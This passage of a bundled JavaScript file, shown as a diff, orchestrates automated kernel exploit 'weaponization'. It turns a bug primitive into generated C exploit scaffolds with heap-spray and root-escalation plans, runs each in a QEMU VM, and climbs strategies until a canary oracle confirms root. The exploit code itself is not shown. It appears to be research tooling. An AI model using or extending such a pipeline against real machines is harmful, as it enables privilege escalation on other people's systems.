crashType: primitive.kind,
|
|
1613
|
+
faultingFunction: "weaponize",
|
|
1614
|
+
stackFrames: [],
|
|
1615
|
+
reproducer: c,
|
|
1616
|
+
reproducerLanguage: "c"
|
|
1617
|
+
};
|
|
1618
|
+
}
|
|
1619
|
+
async function runStrategy(strategy2, opts) {
|
|
1620
|
+
const ctx = opts.exploitContext;
|
|
1621
|
+
const c = strategy2.emit({
|
|
1622
|
+
canary: opts.canary,
|
|
1623
|
+
reproducer: opts.reproducer,
|
|
1624
|
+
targetRung: strategy2.ceiling,
|
|
1625
|
+
objectHint: opts.primitive.objectHint,
|
|
1626
|
+
// Thread the bug's faulting PC so the emitter can select the bug-specific
|
|
1627
|
+
// free/race trigger geometry (e.g. ALSA seq/rawmidi) and the same-site kprobe.
|
|
1628
|
+
...opts.primitive.faultingPc ? { faultingPc: opts.primitive.faultingPc } : {},
|
|
1629
|
+
...ctx?.writeProfile ? { writeProfile: ctx.writeProfile } : {},
|
|
1630
|
+
...ctx?.sprayPlans ? { sprayPlans: ctx.sprayPlans } : {},
|
|
1631
|
+
...ctx?.rootTailPlan ? { rootTailPlan: ctx.rootTailPlan } : {}
|
|
1632
|
+
});
|
|
1633
|
+
const run = await opts.vmRunner(buildVmReport(opts.primitive, c));
|
|
1634
|
+
const cacheKey = bootedCacheKey(opts.cacheKey);
|
|
1635
|
+
const verdict = adjudicate({
|
|
1636
|
+
attemptedRung: strategy2.ceiling,
|
|
1637
|
+
canary: opts.canary,
|
|
1638
|
+
output: run.output,
|
|
1639
|
+
dmesg: run.dmesg,
|
|
1640
|
+
...cacheKey ? { cacheKey } : {},
|
|
1641
|
+
...opts.expectedCacheKey ? { expectedCacheKey: opts.expectedCacheKey } : {}
|
|
1642
|
+
});
|
|
1643
|
+
return {
|
|
1644
|
+
strategyId: strategy2.id,
|
|
1645
|
+
title: strategy2.title,
|
|
1646
|
+
attemptedRung: strategy2.ceiling,
|
|
1647
|
+
reachedRung: verdict.rung,
|
|
1648
|
+
compiled: run.compiled,
|
|
1649
|
+
executed: run.executed,
|
|
1650
|
+
evidence: verdict.evidence,
|
|
1651
|
+
reason: run.compiled ? verdict.reason : `weaponization scaffold failed to compile: ${run.output.slice(0, 300)}`,
|
|
1652
|
+
artifactC: c
|
|
1653
|
+
};
|
|
1654
|
+
}
|
|
1655
|
+
async function runWeaponization(opts) {
|
|
1656
|
+
const log = opts.logger ?? ((line) => console.log(line));
|
|
1657
|
+
const ready = opts.artifactsReady ?? (opts.vmRunner ? () => true : kernelVmArtifactsReady);
|
|
1658
|
+
if (!ready()) {
|
|
1659
|
+
log("[weaponize] kernel-VM artifacts not present \u2014 skipping (default-safe no-op)");
|
|
1660
|
+
return {
|
|
1661
|
+
ran: false,
|
|
1662
|
+
highestRung: "none",
|
|
1663
|
+
attempts: [],
|
|
1664
|
+
reason: "kernel-VM artifacts not present (0SEC_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
|
|
1665
|
+
};
|
|
1666
|
+
}
|
|
1667
|
+
const strategies = selectStrategies(opts.primitive);
|
|
1668
|
+
if (strategies.length === 0) {
|
|
1669
|
+
return {
|
|
1670
|
+
ran: false,
|
|
1671
|
+
highestRung: "none",
|
|
1672
|
+
attempts: [],
|
|
1673
|
+
reason: `no applicable weaponization strategy for primitive '${opts.primitive.kind}' (control=${opts.primitive.control})`
|
|
1674
|
+
};
|
|
1675
|
+
}
|
|
1676
|
+
const vmRunner = opts.vmRunner ?? runReproducerInKernelVm;
|
|
1677
|
+
const limit = opts.maxStrategies ?? strategies.length;
|
|
1678
|
+
const attempts = [];
|
|
1679
|
+
let highestRung = "none";
|
|
1680
|
+
let artifactC;
|
|
1681
|
+
const mint = opts.canaryFactory ?? mintCanary;
|
|
1682
|
+
for (const strategy2 of strategies.slice(0, limit)) {
|
|
1683
|
+
const canary = mint();
|
|
1684
|
+
log(`[weaponize] attempting strategy '${strategy2.id}' (ceiling=${strategy2.ceiling})`);
|
|
1685
|
+
const { artifactC: c, ...attempt } = await runStrategy(strategy2, {
|
|
1686
|
+
primitive: opts.primitive,
|
|
1687
|
+
reproducer: opts.reproducer,
|
|
1688
|
+
canary,
|
|
1689
|
+
vmRunner,
|
|
1690
|
+
...opts.exploitContext ? { exploitContext: opts.exploitContext } : {},
|
|
1691
|
+
...opts.cacheKey ? { cacheKey: opts.cacheKey } : {},
|
|
1692
|
+
...opts.expectedCacheKey ? { expectedCacheKey: opts.expectedCacheKey } : {}
|
|
1693
|
+
});
|
|
1694
|
+
attempts.push(attempt);
|
|
1695
|
+
if (artifactC === void 0 || rungRank(attempt.reachedRung) > rungRank(highestRung)) {
|
|
1696
|
+
artifactC = c;
|
|
1697
|
+
}
|
|
1698
|
+
highestRung = ratchet(highestRung, attempt.reachedRung);
|
|
1699
|
+
if (rungAtLeast(highestRung, "root")) {
|
|
1700
|
+
log("[weaponize] root reached \u2014 stopping ladder");
|
|
1701
|
+
break;
|
|
1702
|
+
}
|
|
1703
|
+
}
|
|
1704
|
+
return {
|
|
1705
|
+
ran: true,
|
|
1706
|
+
highestRung,
|
|
1707
|
+
attempts,
|
|
1708
|
+
artifactC,
|
|
1709
|
+
reason: highestRung === "root" ? "root confirmed by deterministic oracle" : `ladder climbed to '${highestRung}' across ${attempts.length} strateg${attempts.length === 1 ? "y" : "ies"}`
|
|
1710
|
+
};
|
|
1711
|
+
}
|
|
1712
|
+
|
|
1713
|
+
export {
|
|
1714
|
+
RUNG_MARKER_TAG,
|
|
1715
|
+
markerLine,
|
|
1716
|
+
markerFired,
|
|
1717
|
+
droppedBeforeRoot,
|
|
1718
|
+
adjudicate,
|
|
1719
|
+
introspectExploitConfig,
|
|
1720
|
+
disassembleAround,
|
|
1721
|
+
resolveSymbol,
|
|
1722
|
+
structLayout,
|
|
1723
|
+
emitWeaponizationC,
|
|
1724
|
+
PRIMITIVE_LIBRARY,
|
|
1725
|
+
selectStrategies,
|
|
1726
|
+
getStrategy,
|
|
1727
|
+
bootedCacheKey,
|
|
1728
|
+
kernelVmArtifactsReady,
|
|
1729
|
+
mintCanary,
|
|
1730
|
+
runStrategy,
|
|
1731
|
+
runWeaponization
|
|
1732
|
+
};
|